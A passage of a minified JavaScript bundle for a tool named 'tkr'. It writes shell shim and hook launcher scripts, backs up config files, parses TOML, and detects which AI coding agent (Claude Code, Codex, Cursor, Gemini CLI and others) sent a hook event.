in "$_tk_n" "$(command -v node 2>/dev/null)" /opt/homebrew/bin/node /usr/local/bin/node /usr/bin/node ""; do',' [ -n "$_tk_x" ] && [ -x "$_tk_x" ] && break'," done","fi"]}function ax(e){return[...Md(e,"_tk_c"),`if ! ${to()}; then`,' if [ -n "$_tk_s" ] && [ -x "$_tk_s" ]; then exec "$_tk_s" shim-run --as "$_tk_c" "$@"; fi',...za("tkr-shim.js","$_tk_j").map(t=>` ${t}`),' if [ -n "$_tk_x" ]; then exec "$_tk_x" "$_tk_t" --as "$_tk_c" "$@"; fi',` echo ${X(Is)} >&2`,` { echo x >> ${X(no())}; } 2>/dev/null`,"fi",...Ps(""),""].join(`
30
+ `)}function Dd(e){return[...Md(e,"_tk_m"),"case $_tk_m in tkr-*-hook) ;; *) { /bin/cat || /usr/bin/cat; } >/dev/null 2>&1; exit 0 ;; esac",'if [ -n "$_tk_s" ] && [ -x "$_tk_s" ]; then _tk_w=${_tk_m#tkr-}; exec "$_tk_s" hook "${_tk_w%-hook}" "$@"; fi',...za("$_tk_m.js","${_tk_j%/*}/$_tk_m.js"),'if [ -n "$_tk_x" ]; then exec "$_tk_x" "$_tk_t" "$@"; fi',"{ /bin/cat || /usr/bin/cat; } >/dev/null 2>&1","exit 0",""].join(`
31
+ `)}function lx(e){return["#!/bin/sh",`_tk_f=${so}`,`_tk_s=${X(e.single)}`,`_tk_j=${X(e.js)}`,`_tk_k=${X(e.cache)}`,`_tk_n=${X(e.node)}`,'[ "$#" -gt 0 ] || exit 0',`if ! ${to()}; then`,' if [ -n "$_tk_s" ] && [ -x "$_tk_s" ]; then exec "$_tk_s" exec "$@"; fi',...za("tkr-exec.js","${_tk_j%/*}/tkr-exec.js").map(t=>` ${t}`),' if [ -n "$_tk_t" ]; then'," _tk_r=${_tk_t%/*}",' if [ -f "$_tk_r/tkr-exec" ] && [ -s "$_tk_r/tkr-exec" ] && [ -x "$_tk_r/tkr-exec" ]; then exec "$_tk_r/tkr-exec" "$@"; fi',' if [ -n "$_tk_x" ] && [ -s "$_tk_t" ]; then exec "$_tk_x" "$_tk_t" "$@"; fi'," fi","fi",'exec "$@"',""].join(`
32
+ `)}function Fd(e){let t=nx(),n=Kn(We(Ke(e),"tkr-shim.js")),r=Wn(t);if(r&&r.format===so&&oo(r.target)&&JSON.stringify(r.target)===JSON.stringify(n))return t;if(!oo(n))return r&&oo(r.target)?t:null;let o=`${t}.${process.pid}.tmp`;try{return Cd(Ke(t),{recursive:!0,mode:448}),Pd(o,lx(n),{mode:493}),$d(o,493),Od(o,t),t}catch{try{Id(o)}catch{}return null}}function cx(e){let t=a=>{let l=e.match(new RegExp(`^${a}=(.*)$`,"m"));return l?a==="_tk_f"?l[1]:Td(l[1]):null},n=Number(t("_tk_f")),r=t("_tk_s"),o=t("_tk_j"),s=t("_tk_k"),i=t("_tk_n")??"";return!Number.isInteger(n)||r===null||o===null||s===null?null:{format:n,target:{single:r,js:o,cache:s,node:i}}}function Wn(e=Zn()){try{return cx(qS(e,"utf8"))}catch{return null}}function Ua(e=Wn()){return e!==null&&e.format===so&&oo(e.target)}async function Ld(e,t){let n=`${e}.${process.pid}.tmp`;try{return await XS(Ke(e),{recursive:!0,mode:448}),await tx(n,t,{mode:493}),await YS(n,493),await QS(n,e),!0}catch{try{await ex(n)}catch{}return!1}}function Ja(e){return Ld(Zn(),ax(e))}function Hd(e){return Ld(ht(),Dd(e))}function jd(e){let t=Kn(We(Ke(e),"tkr-shim.js")),n=Wn(ht());if(n&&n.format===so&&oo(n.target)&&t.single===""&&t.js==="")return;let r=ht(),o=`${r}.${process.pid}.tmp`;try{Cd(Ke(r),{recursive:!0,mode:448}),Pd(o,Dd(t),{mode:493}),$d(o,493),Od(o,r)}catch{try{Id(o)}catch{}}}var so,ro,Nd,io=y(()=>{"use strict";Os();U();nt();eo();ve();so=1,ro="tkr-shim.stable",Nd=/^(?:0|[1-9]\d{0,5})\.(?:0|[1-9]\d{0,5})\.(?:0|[1-9]\d{0,5})$/});import{chmod as ux,lstat as Bd,mkdir as fx,readFile as Za,rename as dx,rm as CL,unlink as zd,writeFile as mx}from"node:fs/promises";import{createHash as Ud}from"node:crypto";import{basename as px,join as Jd}from"node:path";function Gd(){return Jd(b(),"backup","config")}function Ga(e){let t=ao(e),n=Ud("sha256").update(t).digest("hex").slice(0,16),r=px(t).replace(/[^A-Za-z0-9._-]/g,"_").slice(0,80);return Jd(Gd(),`${n}-${r}`)}function Zd(e){return`${Ga(e)}.written`}function Kd(e){return Ud("sha256").update(e).digest("hex")}async function hx(e){try{return await Bd(e),!0}catch{return!1}}async function Ka(e,t){let n=`${e}.tmp-${process.pid}`;try{return await fx(Gd(),{recursive:!0,mode:448}),await mx(n,t,{mode:384}),await ux(n,384),await dx(n,e),!0}catch{return await zd(n).catch(()=>{}),!1}}async function yx(e,t){let n=`${e}${gx}`;try{if(!(await Bd(n)).isFile())return!1}catch{return!1}let r=!await hx(t);if(r&&!await Ka(t,await Za(n,"utf8")))throw new Error("backup");return await zd(n).catch(()=>{}),r}async function kx(e,t){try{return(await Za(Zd(e),"utf8")).trim()===Kd(t)}catch{return!1}}async function Wd(e,t){let n=t;try{n===void 0&&(n=await Za(e,"utf8"))}catch(r){return r.code==="ENOENT"}try{if(await yx(e,Ga(e)))return!0}catch{return!1}return await kx(e,n)?!0:Ka(Ga(e),n)}async function yt(e,t,n){return!await Wd(e,n)||!await rt(e,t)?!1:(await Ka(Zd(e),`${Kd(t)}
33
+ `),!0)}var gx,Vn=y(()=>{"use strict";U();me();gx=".tkr-bak"});function bx(e){return e.charCodeAt(0)===65279?e.slice(1):e}function oe(e){return JSON.parse(bx(e))}var kt=y(()=>{"use strict"});import{readFile as wx,writeFile as _x,rename as Sx,mkdir as Xd,chmod as xx,stat as Ex,unlink as vx}from"node:fs/promises";import{existsSync as Qd,lstatSync as Tx,readlinkSync as Rx,realpathSync as Vd}from"node:fs";import{basename as Ax,dirname as Ds,join as $x,resolve as qd}from"node:path";function F(e){return e!=null&&typeof e=="object"&&!Array.isArray(e)}async function se(e){if(!Qd(e))return{};try{let t=oe(await wx(e,"utf8"));return F(t)?t:null}catch{return null}}function ao(e){let t=qd(e);for(let n=0;n<32;n++){try{return Vd(t)}catch{}try{if(!Tx(t).isSymbolicLink())break;t=qd(Ds(t),Rx(t))}catch{break}}try{return $x(Vd(Ds(t)),Ax(t))}catch{return t}}async function rt(e,t){let n=ao(e),r=`${n}.tmp-${process.pid}`;try{await Xd(Ds(n),{recursive:!0});let o=384;try{o=(await Ex(n)).mode&511}catch{}return process.platform!=="win32"&&Qd(n)&&(o&128)===0?!1:(await _x(r,t,{mode:o}),await xx(r,o),await Sx(r,n),!0)}catch{try{await vx(r)}catch{}return!1}}async function ie(e,t){try{await Xd(Ds(e),{recursive:!0})}catch{return!1}return yt(e,`${JSON.stringify(t,null,2)}
34
+ `)}function Ms(e){return`'${e.replace(/'/g,"'\\''")}'`}function em(e,t,n=process.platform,r="-x"){return n==="win32"?t:`[ ! ${r} ${Ms(e)} ] || exec ${t}`}function It(e,t,n){if(process.platform!=="win32")return jd(n),em(ht(),`/bin/sh ${Ms(ht())} ${e}`,process.platform,"-f");let r=de()?gt(n):null;return r?[Ms(un(t)),...r].join(" "):`node ${Ms(n)}`}function Cx(e){let t=[],n="",r=!1;for(let o=0;o<e.length;o++){let s=e[o];if(s==="'"){let i=e.indexOf("'",o+1);if(i<0)return null;n+=e.slice(o+1,i),r=!0,o=i}else if(s==='"'){let i=e.indexOf('"',o+1);if(i<0)return null;let a=e.slice(o+1,i);if(/`|\$\(/.test(a))return null;n+=a,r=!0,o=i}else if(s==="\\"&&e[o+1]==="'")n+="'",r=!0,o++;else if(s===" "||s===" ")r&&t.push(n),n="",r=!1;else{if(s===";"||s==="&"||s==="|"||s==="`"||s===`
35
+ `||s==="\r"||s==="$"&&e[o+1]==="(")return null;n+=s,r=!0}}return r&&t.push(n),t}function Wa(e){return(e.split(/[\\/]/).pop()??"").toLowerCase().replace(/\.(?:exe|cmd|bat|ps1|m?js|sh)$/,"")}function Va(e){if(typeof e!="string")return null;let t=e.replace(Ox,""),n=Cx(t);if(!n)return null;let r=0;for(;r<n.length&&Yd.test(n[r]);)r++;if(n[r]==="exec"&&r++,r>=n.length||Yd.test(n[r]))return null;let o=Wa(n[r]),s=n.slice(r+1);if(o==="sh"||o==="bash"){let i=s[0]!==void 0?Wa(s[0]):"";return/^tkr-hook(?:-launch)?$/.test(i)?{program:i,args:s.slice(2),launcherMark:s[1]??""}:{program:o,args:s}}return o==="node"?{program:s[0]!==void 0?Wa(s[0]):"node",args:s.slice(1)}:{program:o,args:s}}function Fe(e,t){let n=Va(e);if(!n)return!1;if(n.launcherMark!==void 0)return n.launcherMark===t;if(n.program===t)return!0;if(n.program!=="tkr")return!1;let r=gt(t);return r?.length?r.every((o,s)=>n.args[s]===o):!1}function qn(e,t,n,r){let o=i=>i!==n&&t(i),s=!1;for(let i=e.length-1;i>=0;i--){let a=e[i];if(!r){o(a)&&(e.splice(i,1),s=!0);continue}if(!F(a)||!Array.isArray(a.hooks))continue;let l=a.hooks.filter(c=>!o(c));l.length!==a.hooks.length&&(s=!0,l.length?a.hooks=l:e.splice(i,1))}return s}var Ox,Yd,me=y(()=>{"use strict";eo();nt();io();Vn();kt();Ox=/^\s*\[ ! -[a-z] (?:'(?:[^']|'\\'')*'|"[^"]*") \] \|\| /,Yd=/^[A-Za-z_][A-Za-z0-9_]*=/});function Px(e,t){let n=e.slice(0,t).split(/\r?\n/);return[n.length,n.pop().length+1]}function Nx(e,t,n){let r=e.split(/\r?\n/),o="",s=(Math.log10(t+1)|0)+1;for(let i=t-1;i<=t+1;i++){let a=r[i-1];a&&(o+=i.toString().padEnd(s," "),o+=": ",o+=a,o+=`
36
+ `,i===t&&(o+=" ".repeat(s+n+2),o+=`^
37
+ `))}return o}var C,fn=y(()=>{C=class e extends Error{line;column;codeblock;constructor(t,n){let[r,o]=Px(n.toml,n.ptr),s=Nx(n.toml,r,o);super(`Invalid TOML document: ${t}
38
+
39
+ ${s}`,n),this.line=r,this.column=o,this.codeblock=s}static x(t,n,r){throw new e(t,{toml:n.s,ptr:r??n.p})}}});function Fs(e){let t=e.p,n=e.s.charCodeAt(e.p++),r=n,o=n===39,s=n===e.s.charCodeAt(e.p)&&n===e.s.charCodeAt(e.p+1);s&&((n=e.s.charCodeAt(e.p+=2))===10?e.p++:n===13&&e.s.charCodeAt(e.p+1)===10&&(e.p+=2));let i="",a=e.p,l=0;for(;e.p<e.s.length;e.p++)if(n=e.s.charCodeAt(e.p),s&&(n===10||n===13&&e.s.charCodeAt(e.p+1)===10))l=l&&3;else if(n<32&&n!==9||n===127)C.x("control characters are not allowed in strings",e);else if((!l||l===3)&&n===r&&(!s||e.s.charCodeAt(e.p+1)===r&&e.s.charCodeAt(e.p+2)===r)){if(s&&(e.s.charCodeAt(e.p+3)===r&&e.p++,e.s.charCodeAt(e.p+3)===r&&e.p++),!l){let c=e.s.slice(a,e.p);i=i?i+c:c}return e.p+=s?3:1,i}else if(!l)!o&&n===92&&(i+=e.s.slice(a,a=e.p),l=1);else if(l===1)if(n===120||n===117||n===85){let c=e.p++-1,u=0,f=n===120?2:n===117?4:8;for(let d=0;d<f;d++,e.p++){let m=e.s.charCodeAt(e.p),g=m>=48&&m<=57?m-48:m>=65&&m<=70?m-65+10:m>=97&&m<=102?m-97+10:-1;g<0&&C.x("invalid non-hex character in unicode escape",e),u=u<<4|g}(u<0||u>1114111||u>=55296&&u<=57343)&&C.x("invalid unicode escape",e,c),i+=String.fromCodePoint(u),a=e.p--,l=0}else s&&(n===32||n===9)?l=2:(n===98?i+="\b":n===116?i+=" ":n===110?i+=`
40
+ `:n===102?i+="\f":n===114?i+="\r":n===101?i+="\x1B":n===34?i+='"':n===92?i+="\\":C.x("unrecognised escape sequence",e),a=e.p+1,l=0);else n!==32&&n!==9&&(l===2&&C.x("invalid escape: only line-ending whitespace may be escaped",e,a),l=!o&&n===92?1:0,a=e.p);C.x("unfinished string",e,t)}var qa=y(()=>{fn();});var Mx,dn,Ya=y(()=>{Mx=/^(\d{4}-\d{2}-\d{2})?[Tt ]?(?:(\d{2}):\d{2}(?::\d{2}(?:\.\d+)?)?)?(Z|z|[-+]\d{2}:\d{2})?$/i,dn=class e extends Date{#t=!1;#n=!1;#e=null;constructor(t,n,r){let o=!0,s=!0,i="Z",a;if(typeof t=="string")if(n)e:{if(n<3){if(+t.slice(11,13)>23){t="";break e}n===2?(i=null,t+="Z"):(a=t.charCodeAt(t.length-1))!==90&&a!==122&&(i=t.slice(t.length-6)),r&&(t=t.slice(0,10)+"T"+t.slice(11))}else n===4&&(t=+t.slice(0,2)>23?"":`0000-01-01T${t}Z`);o=n!==4,s=n!==3}else{let l=t.match(Mx);l?(l[1]||(o=!1,t=`0000-01-01T${t}`),s=!!l[2],s&&t[10]===" "&&(t=t.replace(" ","T")),l[2]&&+l[2]>23?t="":(i=l[3]||null,!i&&s&&(t+="Z"))):t=""}super(t),isNaN(this.getTime())||(this.#t=o,this.#n=s,this.#e=i)}isDateTime(){return this.#t&&this.#n}isLocal(){return!this.#t||!this.#n||!this.#e}isDate(){return this.#t&&!this.#n}isTime(){return this.#n&&!this.#t}isValid(){return this.#t||this.#n}toISOString(){let t=super.toISOString();if(this.isDate())return t.slice(0,10);if(this.isTime())return t.slice(11,23);if(this.#e===null)return t.slice(0,-1);if(this.#e==="Z"||this.#e==="z")return t;let n=+this.#e.slice(1,3)*60+ +this.#e.slice(4,6);return n=this.#e[0]==="-"?n:-n,new Date(this.getTime()-n*6e4).toISOString().slice(0,-1)+this.#e}static wrapAsOffsetDateTime(t,n="Z"){let r=new e(t);return r.#e=n,r}static wrapAsLocalDateTime(t){let n=new e(t);return n.#e=null,n}static wrapAsLocalDate(t){let n=new e(t);return n.#n=!1,n.#e=null,n}static wrapAsLocalTime(t){let n=new e(t);return n.#t=!1,n.#e=null,n}}});function Oe(e,t=10){return t===16?e>47&&e<58||e>64&&e<71||e>96&&e<103:e>47&&e<48+t}function Qa(e,t){return e===32||e===9||e===10||e===13||t&&(e===t||e===44)||e===35}function co(e,t){let n=e.p,r=e.s.charCodeAt(e.p);if(r===91||r===123){e.d--||C.x("document contains excessively nested structures. aborting.",e);let o=r===91?om(e):rm(e);return e.d++,o}return r===34||r===39?Fs(e):r===116?((e.s.charCodeAt(++e.p)!==114||e.s.charCodeAt(++e.p)!==117||e.s.charCodeAt(++e.p)!==101)&&C.x("invalid value",e,n),e.p++,!0):r===102?((e.s.charCodeAt(++e.p)!==97||e.s.charCodeAt(++e.p)!==108||e.s.charCodeAt(++e.p)!==115||e.s.charCodeAt(++e.p)!==101)&&C.x("invalid value",e,n),e.p++,!1):r===43||r===45?Ls(e,e.p,e.s.charCodeAt(++e.p),44-r,t):e.s.charCodeAt(e.p+4)===45&&e.s.charCodeAt(e.p+7)===45?Dx(e,r,t):e.s.charCodeAt(e.p+2)===58?Fx(e,r,t):Ls(e,e.p,r,0,t)}function Ls(e,t,n,r,o){let s=n,i=0,a=!1;if(s===105)return(e.s.charCodeAt(++e.p)!==110||e.s.charCodeAt(++e.p)!==102)&&C.x("invalid value",e,t),e.p++,(r||1)/0;if(s===110)return(e.s.charCodeAt(++e.p)!==97||e.s.charCodeAt(++e.p)!==110)&&C.x("invalid value",e,t),e.p++,NaN;if(s===48){if(++e.p>=e.s.length||Qa(s=e.s.charCodeAt(e.p),o))return e.bi===!0?0n:0;if(!r){if(s===120)return Xa(e,t,16,o);if(s===98)return Xa(e,t,2,o);if(s===111)return Xa(e,t,8,o)}s===46?i=2:s===101||s===69?i=4:C.x("illegal leading zero",e,t)}else Oe(s)||C.x("invalid value",e,t);for(;++e.p<e.s.length&&(s=e.s.charCodeAt(e.p),!Qa(s,o));)i||(i=1),s===95?(i&1||C.x("illegal underscore",e),i+=11,a=!0):i===1&&s===46?i=2:(i===1||i===3)&&(s===101||s===69)?i=4:i===4&&(s===43||s===45)||(Oe(s)?i>9?i-=11:i&1||i++:C.x("illegal character in numeric literal",e));if(!i){let c=(n-48)*(r||1);return e.bi===!0?BigInt(c):c}i&1||C.x("unfinished numeric value",e,t);let l=e.s.slice(t,e.p);return a&&(l=l.replaceAll("_","")),i>1?parseFloat(l):nm(e,l,10,t)}function Xa(e,t,n,r){let o,s=1;for(;++e.p<e.s.length&&(o=e.s.charCodeAt(e.p),!Qa(o,r));)o===95?(s&1&&C.x("illegal underscore",e),s=3):Oe(o,n)?s&1&&s--:C.x("illegal character in numeric literal",e);s&1&&C.x("unfinished numeric value",e);let i=e.s.slice(t+2,e.p);return s&&(i=i.replaceAll("_","")),nm(e,i,n,t)}function nm(e,t,n,r){if(e.bi!==!0)e:{let o=parseInt(t,n);if(!Number.isSafeInteger(o)){if(e.bi)break e;C.x("integer value cannot be represented losslessly",e,r)}return o}return BigInt(n===10?t:(n===2?"0b":n===8?"0o":"0x")+t)}function Dx(e,t,n){let r=e.p++,o;if(!Oe(t)||!Oe(e.s.charCodeAt(e.p++))||!Oe(e.s.charCodeAt(e.p++))||!Oe(e.s.charCodeAt(e.p++)))return Ls(e,e.p=r,t,0,n);if(e.p+=5,Oe(e.s.charCodeAt(e.p++))||C.x("invalid date-time: date part is malformed",e,r),e.p>=e.s.length||((t=e.s.charCodeAt(e.p))!==32||(o=!0,!Oe(e.s.charCodeAt(e.p+1))))&&t!==84&&t!==116){let i=e.s.slice(r,e.p);return lo(e,i,3,!1,r)}if(e.s.charCodeAt(e.p+=3)!==58&&C.x("invalid date-time: time part is malformed",e,r),e.s.charCodeAt(e.p+=3)===58&&(e.p+=3),e.s.charCodeAt(e.p)===46)for(;Oe(e.s.charCodeAt(++e.p)););if(t=e.s.charCodeAt(e.p)){if(t===90||t===122){let i=e.s.slice(r,++e.p);return lo(e,i,1,o,r,"[+00:00]")}if(t===43||t===45){let i=e.s.slice(r,e.p+=6);return lo(e,i,1,o,r,!e.ld&&"["+e.s.slice(e.p-6,e.p)+"]")}}let s=e.s.slice(r,e.p);return lo(e,s,2,o,r)}function Fx(e,t,n){let r=e.p;if(!Oe(t)||!Oe(e.s.charCodeAt(++e.p)))return Ls(e,--e.p,t,0,n);if(e.s.charCodeAt(e.p+=4)===58&&(e.p+=3),e.s.charCodeAt(e.p)===46)for(;Oe(e.s.charCodeAt(++e.p)););let o=e.s.slice(r,e.p);return lo(e,o,4,!1,r)}function lo(e,t,n,r,o,s){if(e.ld){let i=new dn(t,n,r);return i.isValid()||C.x("invalid date",e,o),i}try{switch(s&&(t+=s),n){case 1:return Temporal.ZonedDateTime.from(t);case 2:return Temporal.PlainDateTime.from(t);case 3:return Temporal.PlainDate.from(t);case 4:return Temporal.PlainTime.from(t)}}catch(i){C.x(i instanceof Error?i.message:""+i,e,o)}}var el=y(()=>{qa();tl();fn();Ya();});function Lx(e){for(;e.p<e.s.length;e.p++){let t=e.s.charCodeAt(e.p);if(t===10)break;if(t===13&&e.s.charCodeAt(e.p+1)===10){e.p++;break}(t<32&&t!==9||t===127)&&C.x("control characters are not allowed in comments",e)}}function Ve(e,t,n){let r;for(;e.p<e.s.length;){for(;e.p<e.s.length&&((r=e.s.charCodeAt(e.p))===32||r===9||!t&&(r===10||r===13&&e.s.charCodeAt(e.p+1)===10));)e.p++;if(n||r!==35)break;Lx(e)}}var nl=y(()=>{fn();});function Hs(e,t=61){let n,r=0,o=[],s,i=e.s.charCodeAt(n=e.p);do{if(i===t)return r||C.x("unexpected end of key",e),r===1&&o.push(e.s.slice(s,e.p)),e.p++,o;i===46?(r||C.x("illegal empty bare key",e),r===1&&o.push(e.s.slice(s,e.p)),r=0):!r&&(i===34||i===39)?(i===e.s.charCodeAt(e.p+1)&&i===e.s.charCodeAt(e.p+2)&&C.x("illegal quoted key: multiline strings are not allowed",e),o.push(Fs(e)),r=2,e.p--):i===32||i===9?r===1&&(o.push(e.s.slice(s,e.p)),r=2):r===2||i<48&&i!==45||i>57&&i<65||i>90&&i<97&&i!==95||i>122?C.x("illegal character in key",e):r||(r=1,s=e.p)}while(i=e.s.charCodeAt(++e.p));C.x("incomplete key-value: cannot find end of key",e,n)}function rm(e){let t=e.p++,n=Object.create(null),r=new Set,o;for(;e.p<e.s.length;){if(Ve(e),(o=e.s.charCodeAt(e.p))===125)return e.p++,n;let s,i=n,a=!1,l=e.p,c=Hs(e);for(let f=0;f<c.length;f++){f&&(i=a?i[s]:i[s]=Object.create(null)),s=c[f],(a=Object.hasOwn(i,s))&&(typeof i[s]!="object"||r.has(i[s]))&&C.x("trying to redefine an already defined value",e,l);let d=s==="__proto__";if(e.uk&&(d||s==="constructor")){i=e.uk!==1&&C.x("document contains an unsafe property",e,l);break}!a&&d&&Object.defineProperty(i,s,{enumerable:!0,configurable:!0,writable:!0})}a&&C.x("trying to redefine an already defined value",e,l),Ve(e,!0,!0);let u=co(e,125);if(i&&typeof(i[s]=u)=="object"&&r.add(u),Ve(e),(o=e.s.charCodeAt(e.p++))===125)return n;o!==44&&C.x("expected comma or end of structure",e,e.p-1)}C.x("unfinished table",e,t)}function om(e){let t=e.p++,n=[],r;for(;e.p<e.s.length;){if(Ve(e),(r=e.s.charCodeAt(e.p))===93)return e.p++,n;if(n.push(co(e,93)),Ve(e),(r=e.s.charCodeAt(e.p++))===93)return n;r!==44&&C.x("expected comma or end of structure",e,e.p-1)}C.x("unfinished array",e,t)}var tl=y(()=>{qa();el();nl();fn();});function sm(e,t,n,r,o){let s=n,i=r,a,l=!1,c;for(let u=0;u<t.length;u++){if(u){if(s=l?s[a]:s[a]=Object.create(null),i=(c=i[a]).c,o===0&&(c.t===1||c.t===2))return null;if(c.t===2){let f=s.length-1;s=s[f],i=i[f].c}}if(a=t[u],(l=Object.hasOwn(s,a))&&i[a]?.t===0&&i[a]?.d)return null;if(!l){let f=a==="__proto__";if(e.uk&&(f||a==="constructor"))return!1;f&&(Object.defineProperty(s,a,{enumerable:!0,configurable:!0,writable:!0}),Object.defineProperty(i,a,{enumerable:!0,configurable:!0,writable:!0})),i[a]={t:u<t.length-1&&o===2?3:o,d:!1,i:0,c:Object.create(null)}}}if(c=i[a],c.t!==o&&!(o===1&&c.t===3)||(o===2&&(c.d||(c.d=!0,s[a]=[]),s[a].push(s=Object.create(null)),c.c[c.i++]=c={t:1,d:!1,i:0,c:Object.create(null)}),c.d))return null;if(c.d=!0,o===1)s=l?s[a]:s[a]=Object.create(null);else if(o===0&&l)return null;return[a,s,c.c]}function im(e,t,n){(t===null||e.uk===2)&&C.x(t===null?"trying to redefine an already defined table or value":"document contains an unsafe property",e,n)}function Pt(e,t={}){let n={s:e,p:0,d:t.maxDepth??1e3,bi:t.integersAsBigInt??!1,ld:t.useLegacyDate??!0,uk:t.unsafeKeyBehaviour==="throw"?2:t.unsafeKeyBehaviour==="drop"?1:0},r=Object.create(null),o=Object.create(null),s,i=!1,a=r,l=o;for(e.charCodeAt(0)===65279&&n.p++,Ve(n);n.p<e.length;){if(e.charCodeAt(n.p)===91){let c=e.charCodeAt(++n.p)===91;s=n.p+=+c,i=!1;let u=Hs(n,93);c&&(e.charCodeAt(n.p)!==93&&C.x("expected end of table array declaration",n),n.p++);let f=sm(n,u,r,o,c?2:1);f?(l=f[2],a=f[1]):(im(n,f,s),i=!0)}else{s=n.p;let c=Hs(n),u=sm(n,c,a,l,0);!u&&!i&&im(n,u,s),Ve(n,!0,!0);let f=co(n,void 0);u&&!i&&(u[1][u[0]]=f)}Ve(n,!0),n.p<e.length&&(s=e.charCodeAt(n.p))!==10&&(s!==13||e.charCodeAt(n.p+1)!==10)&&C.x("each key-value declaration must be followed by an end-of-line",n),Ve(n)}return r}var am=y(()=>{tl();el();nl();fn();});function uo(e){let t=typeof e;if(t==="object"){if(Array.isArray(e))return"array";if(typeof e.getUTCDate=="function"&&e instanceof Date)return"date";if(globalThis.Temporal){if(e.until){if(e instanceof Temporal.ZonedDateTime)return"temporal/tz+uc";if(e instanceof Temporal.PlainDateTime||e instanceof Temporal.PlainDate)return"temporal/uc";if(e instanceof Temporal.PlainTime||e instanceof Temporal.Instant)return"temporal";if(e instanceof Temporal.PlainYearMonth)return"temporal/x"}else if(e.toPlainDate&&e instanceof Temporal.PlainMonthDay||e.negated&&e instanceof Temporal.Duration)return"temporal/x"}}return t}function jx(e){for(let t=0;t<e.length;t++)if(uo(e[t])!=="object")return!1;return e.length!=0}function cm(e){return JSON.stringify(e).replaceAll("\x7F","\\u007f")}function Bx(e){return cm(lm?e.toWellFormed():e)}function um(e){if(Hx.test(e))return e;if(lm&&!e.isWellFormed())throw new RangeError("key contains illegal lone surrogates");return cm(e)}function rl(e,t,n,r,o){if(n===0)throw new Error("Could not stringify the object: maximum object depth exceeded");switch(t){case"number":if(isNaN(e))return"nan";if(e===1/0)return"inf";if(e===-1/0)return"-inf";if(Number.isInteger(e)&&(r||!Number.isSafeInteger(e)))return e.toFixed(1);case"bigint":case"boolean":case"temporal":return e.toString();case"string":return Bx(e);case"date":if(isNaN(e.getTime()))throw new TypeError("cannot serialize invalid date");return e.toISOString();case"object":return zx(e,n,r,o);case"array":return Ux(e,n,r,o);case"temporal/tz+uc":if(o){let s=e.timeZoneId,i=s.charCodeAt(0);if(i!==43&&i!==45&&(i!==85&&i!==71&&i!==90&&i!==69||s!=="UTC"&&s!=="UCT"&&s!=="Universal"&&s!=="Zulu"&&!s.startsWith("GMT")&&s!=="Greenwich"&&!s.startsWith("Etc/")))throw new TypeError("Temporal objects with an IANA timezone are not allowed in Temporal strict mode")}case"temporal/uc":if(o&&e.calendarId!=="iso8601")throw new TypeError("Temporal objects with a non-default calendar are not allowed in Temporal strict mode");return e.toString({calendarName:"never",timeZoneName:"never"});case"temporal/x":throw new TypeError("Unsupported "+e[Symbol.toStringTag])}}function zx(e,t,n,r){let o=Object.keys(e);if(o.length===0)return"{}";let s="{ ";for(let i=0;i<o.length;i++){let a=o[i];i&&(s+=", "),s+=um(a)+" = "+rl(e[a],uo(e[a]),t-1,n,r)}return s+" }"}function Ux(e,t,n,r){if(e.length===0)return"[]";let o="[ ";for(let s=0;s<e.length;s++){if(s&&(o+=", "),e[s]===null||e[s]===void 0)throw new TypeError("arrays cannot contain null or undefined values");o+=rl(e[s],uo(e[s]),t-1,n,r)}return o+" ]"}function Jx(e,t,n,r,o){if(n===0)throw new Error("Could not stringify the object: maximum object depth exceeded");let s="";for(let i=0;i<e.length;i++)s+=`${s&&`
41
+ `}[[${t}]]
42
+ `,s+=ol(0,e[i],t,n,r,o);return s}function ol(e,t,n,r,o,s){if(r===0)throw new Error("Could not stringify the object: maximum object depth exceeded");let i="",a="",l=Object.keys(t);for(let c=0;c<l.length;c++){let u=l[c];if(t[u]!==null&&t[u]!==void 0){let f=uo(t[u]);if(f==="symbol"||f==="function")throw new TypeError(`cannot serialize values of type '${f}'`);let d=um(u);if(f==="array"&&jx(t[u]))a+=(a&&`
43
+ `)+Jx(t[u],n?`${n}.${d}`:d,r-1,o,s);else if(f==="object"){let m=n?`${n}.${d}`:d;a+=(a&&`
44
+ `)+ol(m,t[u],m,r-1,o,s)}else i+=d,i+=" = ",i+=rl(t[u],f,r,o,s),i+=`
45
+ `}}return e&&(i||!a)&&(i=i?`[${e}]
46
+ ${i}`:`[${e}]`),i&&a?`${i}
47
+ ${a}`:i||a}function sl(e,{maxDepth:t=1e3,numbersAsFloat:n=!1,strictTemporal:r=!1}={}){if(uo(e)!=="object")throw new TypeError("stringify can only be called with an object");let o=ol(0,e,"",t,n,r);return o[o.length-1]!==`
48
+ `?o+`
49
+ `:o}var Hx,lm,fm=y(()=>{Hx=/^[a-z0-9-_]+$/i,lm=!!"".isWellFormed});var il={};he(il,{TomlDate:()=>dn,TomlError:()=>C,default:()=>Gx,parse:()=>Pt,stringify:()=>sl});var Gx,fo=y(()=>{am();fm();Ya();fn();Gx={parse:Pt,stringify:sl,TomlDate:dn,TomlError:C}});function be(e,t){let n=e[t];return typeof n=="string"&&n?n:null}function mo(e){return e!=null&&typeof e=="object"&&!Array.isArray(e)}function Zx(e){return be(e,"prompt_id")||be(e,"scratchpad_dir")?!0:mo(e.effort)}function Kx(e){return be(e,"tool_use_id")?.startsWith("toolu_")===!0||/^claude/i.test(be(e,"model")??"")}function dm(e){return mo(e)?Qx.filter(([,t])=>t(e)).map(([t])=>t):[]}function al(e,t){if(!mo(e))return null;let n=dm(e);return n.length>1?null:n.length===1?n[0]:Kx(e)&&eE.has(t)?"claude-code":t==="codex"?null:t}function mm(e,t){let n=al(e,t);return n==="claude-code"||n==="codex"?n:null}var Wx,Vx,qx,Yx,Xx,Qx,eE,js=y(()=>{"use strict";Wx=new Set(["BeforeTool","AfterTool","BeforeAgent","AfterAgent","BeforeModel","AfterModel","BeforeToolSelection"]),Vx=new Set(["preToolUse","postToolUse","beforeShellExecution","afterShellExecution","beforeSubmitPrompt","sessionStart","sessionEnd","stop"]),qx=new Set(["pre_tool","post_tool"]),Yx=new Set(["before_tool_call","after_tool_call"]),Xx=new Set(["runTerminalCommand","run_in_terminal"]),Qx=[["codex",e=>be(e,"turn_id")!==null],["claude-code",Zx],["cursor",e=>be(e,"cursor_version")!==null||be(e,"generation_id")!==null||be(e,"conversation_id")!==null||Array.isArray(e.workspace_roots)||Vx.has(be(e,"hook_event_name")??"")],["gemini-cli",e=>Wx.has(be(e,"hook_event_name")??"")],["qwen-code",e=>e.hook_event_name==="PreToolUse"&&e.tool_name==="run_shell_command"],["vibe",e=>qx.has(be(e,"hook_event_name")??"")],["antigravity",e=>mo(e.toolCall)],["copilot",e=>be(e,"toolName")!==null&&"toolArgs"in 